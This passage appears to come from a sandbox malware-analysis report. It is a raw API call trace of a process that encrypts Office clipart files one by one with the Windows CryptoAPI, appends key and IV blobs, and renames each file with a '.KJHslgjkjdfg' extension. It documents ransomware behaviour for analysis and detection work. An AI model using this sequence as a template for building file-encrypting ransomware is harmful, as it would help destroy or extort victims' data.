hTemplateFile=0x0) returned 0x130 [0230.771] GetProcessHeap () returned 0x2ef0000 [0230.771] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0230.771] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0230.771] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0230.771] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0230.804] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0230.804] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0230.804] GetProcessHeap () returned 0x2ef0000 [0230.804] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0230.805] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0230.805] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0230.805] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0230.805] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0230.805] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0230.805] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0230.805] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0230.805] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0230.805] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0230.805] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0230.805] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0230.806] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x7c08, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x7c08, lpOverlapped=0x0) returned 1 [0230.806] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x7c10, dwBufLen=0x7c10 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x7c10) returned 1 [0230.807] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0230.807] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x7c10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x7c10, lpOverlapped=0x0) returned 1 [0230.807] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0230.807] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x7ce4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0230.807] SetEndOfFile (hFile=0x130) returned 1 [0230.825] GetProcessHeap () returned 0x2ef0000 [0230.826] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0230.826] GetProcessHeap () returned 0x2ef0000 [0230.826] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0230.826] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01247U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01247u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01247U.BMP.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01247u.bmp.kjhslgjkjdfg")) returned 1 [0230.828] CloseHandle (hObject=0x130) returned 1 [0230.828] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72230800, ftCreationTime.dwHighDateTime=0x1bd4e5f, ftLastAccessTime.dwLowDateTime=0x6ce6f8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x72230800, ftLastWriteTime.dwHighDateTime=0x1bd4e5f, nFileSizeHigh=0x0, nFileSizeLow=0x1e55, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH01255G.GIF", cAlternateFileName="")) returned 1 [0230.828] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01255G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01255g.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0230.829] GetProcessHeap () returned 0x2ef0000 [0230.829] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0230.829] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0230.829] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0230.829] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xb, lpOverlapped=0x0) returned 1 [0230.832] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0230.832] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0230.832] GetProcessHeap () returned 0x2ef0000 [0230.832] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0230.832] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0230.832] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0230.832] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0230.833] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0230.833] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0230.833] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0230.833] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0230.833] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0230.833] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0230.833] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0230.833] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0230.833] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1e55, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1e55, lpOverlapped=0x0) returned 1 [0230.834] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1e60, dwBufLen=0x1e60 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1e60) returned 1 [0230.835] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0230.835] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1e60, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1e60, lpOverlapped=0x0) returned 1 [0230.835] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0230.835] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1f34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0230.835] SetEndOfFile (hFile=0x130) returned 1 [0230.838] GetProcessHeap () returned 0x2ef0000 [0230.839] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0230.839] GetProcessHeap () returned 0x2ef0000 [0230.839] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0230.839] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01255G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01255g.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01255G.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01255g.gif.kjhslgjkjdfg")) returned 1 [0230.841] CloseHandle (hObject=0x130) returned 1 [0230.841] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d799000, ftCreationTime.dwHighDateTime=0x1bd4e53, ftLastAccessTime.dwLowDateTime=0x5a3ff2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1d799000, ftLastWriteTime.dwHighDateTime=0x1bd4e53, nFileSizeHigh=0x0, nFileSizeLow=0x7c08, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH01265U.BMP", cAlternateFileName="")) returned 1 [0230.841] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01265U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01265u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0230.842] GetProcessHeap () returned 0x2ef0000 [0230.842] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0230.842] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0230.842] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0230.843] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0230.845] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0230.845] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0230.845] GetProcessHeap () returned 0x2ef0000 [0230.845] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0230.846] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0230.846] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0230.846] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0230.846] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0230.846] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0230.846] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0230.846] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0230.846] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0230.846] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0230.846] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0230.846] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0230.846] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x7c08, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x7c08, lpOverlapped=0x0) returned 1 [0230.851] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x7c10, dwBufLen=0x7c10 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x7c10) returned 1 [0230.851] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0230.852] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x7c10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x7c10, lpOverlapped=0x0) returned 1 [0230.852] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0230.852] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x7ce4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0230.852] SetEndOfFile (hFile=0x130) returned 1 [0230.856] GetProcessHeap () returned 0x2ef0000 [0230.856] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0230.856] GetProcessHeap () returned 0x2ef0000 [0230.856] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0230.856] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01265U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01265u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01265U.BMP.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01265u.bmp.kjhslgjkjdfg")) returned 1 [0230.858] CloseHandle (hObject=0x130) returned 1 [0230.858] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8bf3500, ftCreationTime.dwHighDateTime=0x1bd4e54, ftLastAccessTime.dwLowDateTime=0x6ce6f8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb8bf3500, ftLastWriteTime.dwHighDateTime=0x1bd4e54, nFileSizeHigh=0x0, nFileSizeLow=0x7db8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH01332U.BMP", cAlternateFileName="")) returned 1 [0230.859] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01332U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01332u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0230.860] GetProcessHeap () returned 0x2ef0000 [0230.860] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0230.860] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0230.860] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0230.861] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0230.863] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0230.863] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0230.863] GetProcessHeap () returned 0x2ef0000 [0230.863] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0230.863] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0230.863] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0230.863] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0230.863] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0230.863] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0230.863] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0230.863] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0230.864] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0230.864] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0230.864] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0230.864] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0230.864] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x7db8, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x7db8, lpOverlapped=0x0) returned 1 [0230.865] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x7dc0, dwBufLen=0x7dc0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x7dc0) returned 1 [0230.866] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0230.866] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x7dc0, lpOverlapped=0x0) returned 1 [0230.866] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0230.866] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x7e94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0230.866] SetEndOfFile (hFile=0x130) returned 1 [0230.870] GetProcessHeap () returned 0x2ef0000 [0230.870] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0230.870] GetProcessHeap () returned 0x2ef0000 [0230.870] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0230.870] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01332U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01332u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01332U.BMP.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01332u.bmp.kjhslgjkjdfg")) returned 1 [0230.872] CloseHandle (hObject=0x130) returned 1 [0230.872] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa711900, ftCreationTime.dwHighDateTime=0x1bd4e54, ftLastAccessTime.dwLowDateTime=0x5a3ff2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xaa711900, ftLastWriteTime.dwHighDateTime=0x1bd4e54, nFileSizeHigh=0x0, nFileSizeLow=0x7ce0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH01478U.BMP", cAlternateFileName="")) returned 1 [0230.872] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01478U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01478u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0230.874] GetProcessHeap () returned 0x2ef0000 [0230.874] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0230.874] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0230.874] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0230.874] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0230.874] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0230.874] GetProcessHeap () returned 0x2ef0000 [0230.874] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 